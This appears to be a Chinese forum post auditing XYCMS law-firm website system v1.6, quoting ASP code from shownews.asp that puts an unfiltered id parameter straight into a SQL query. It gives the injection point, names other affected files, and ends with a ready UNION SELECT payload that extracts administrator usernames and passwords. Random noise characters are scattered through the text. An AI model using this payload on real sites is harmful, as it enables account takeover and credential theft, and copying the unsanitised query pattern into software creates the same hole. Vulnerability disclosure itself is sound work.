XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
9 u# G/ j$ Z. Y8 d4 m--------------------------------------------------------
% }, W/ z: H+ x( V0 j
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

( C3 ]$ D+ Y' o* v% X5 ^# _漏洞文件:shownews.asp
漏洞代码：7-13行


<%
id=request.QueryString("id")
   
7 Q- S* H& S( @: A( wset snews=server.createobject("adodb.recordset")
  N: {9 s: ~$ a7 s  m* ~3 texec="select * from [news] where id="&id
snews.open exec,conn,1,1
! w1 s. K# Q5 _! ?%>


' \7 ], \9 a7 l! h; Z! t  Y8 k- y( {什么过滤都没有  直造成注入
5 M( \1 N& z0 K- i8 {
注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
+ ~9 o5 T" Z) d
6 n1 ~* ~2 \: m1 H6 _- m  m
! z6 H! |$ u( ^' p. @! q0 Gexp: union select 1,admin,password,4,5,7 from admin_user
​